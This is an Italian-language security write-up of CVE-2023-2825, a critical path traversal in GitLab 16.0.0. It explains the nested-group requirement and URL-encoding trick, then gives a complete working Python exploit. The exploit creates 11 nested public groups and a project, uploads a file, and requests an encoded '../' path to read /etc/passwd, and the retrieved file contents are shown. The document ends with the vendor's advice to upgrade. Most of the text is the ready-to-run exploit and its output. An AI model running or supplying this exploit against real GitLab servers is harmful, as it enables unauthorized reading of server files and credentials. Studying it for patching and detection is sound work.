
la prova di concetto scritta in Python per un utente malintenzionato non autenticato può sfruttare una vulnerabilità di path traversal per leggere file arbitrari sul server quando esiste un allegato in un progetto pubblico annidato all'interno di almeno cinque gruppi. Si tratta di un problema di gravità critica
Il 23 maggio 2023, GitLab ha rilasciato la versione 16.0.1 che ha corretto una vulnerabilità critica, CVE-2023-2825, che interessava la versione 16.0.0 della Community Edition (CE) e della Enterprise Edition (EE). La vulnerabilità consente a utenti non autenticati di leggere file arbitrari tramite un bug di path traversal. È stata scoperta da pwnie su HackerOne tramite il programma di bug bounty.
Al momento della stesura, non era disponibile alcuna proof of concept pubblica.
Un utente malintenzionato non autenticato può utilizzare una vulnerabilità di path traversal per leggere file arbitrari sul server quando in un progetto pubblico, annidato in almeno cinque gruppi, è presente un allegato. Si tratta di un problema di gravità critica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Questa vulnerabilità ha un requisito interessante: il progetto deve essere annidato in almeno 5 gruppi. Nei nostri test, abbiamo trovato una correlazione diretta tra il numero di gruppi e le directory che è possibile attraversare. La regola sembra essere N + 1, ovvero se si desidera attraversare 10 directory, servono 11 gruppi.
In un'installazione GitLab standard, gli allegati vengono caricati in /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Quindi, per raggiungere la radice del filesystem, è necessario risalire di 10 directory e, di conseguenza, servono 11 gruppi.
Quando si carica un file come allegato in una issue GitLab, viene inviata una richiesta a POST - /:repo/upload. Questa restituisce una risposta JSON con l'URL del file, consentendo di accedere al file.
L'URL del file è composto da /:repo/uploads/:id/:file, dove :file è il nome del file stesso. Sostituendo :file con un qualsiasi percorso di file, GitLab restituirà il file richiesto. GitLab non riesce a sanitizzare questo percorso, portando a una path traversal.
Per sfruttare con successo questa vulnerabilità, è necessario codificare nell'URL il / nel percorso del file. GitLab lo leggerà come un valore e lo decodificherà internamente. La mancata codifica farà sì che GitLab interpreti il / nel percorso del file come parte della rotta.
Nei nostri test, codificare solo il / è stato sufficiente per bypassare gli errori di percorso di Nginx.
Gli utenti non autenticati possono sfruttare questa vulnerabilità solo su repository pubblici che soddisfano i requisiti dei gruppi annidati. L'autenticazione è necessaria per accedere al repository stesso.
Ecco la proof of concept scritta in Python. Crea gli 11 gruppi, crea un repository pubblico, carica un file e poi sfrutta la vulnerabilità per ottenere il file /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")
GitLab raccomanda di aggiornare tutte le versioni interessate da questo problema il prima possibile.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/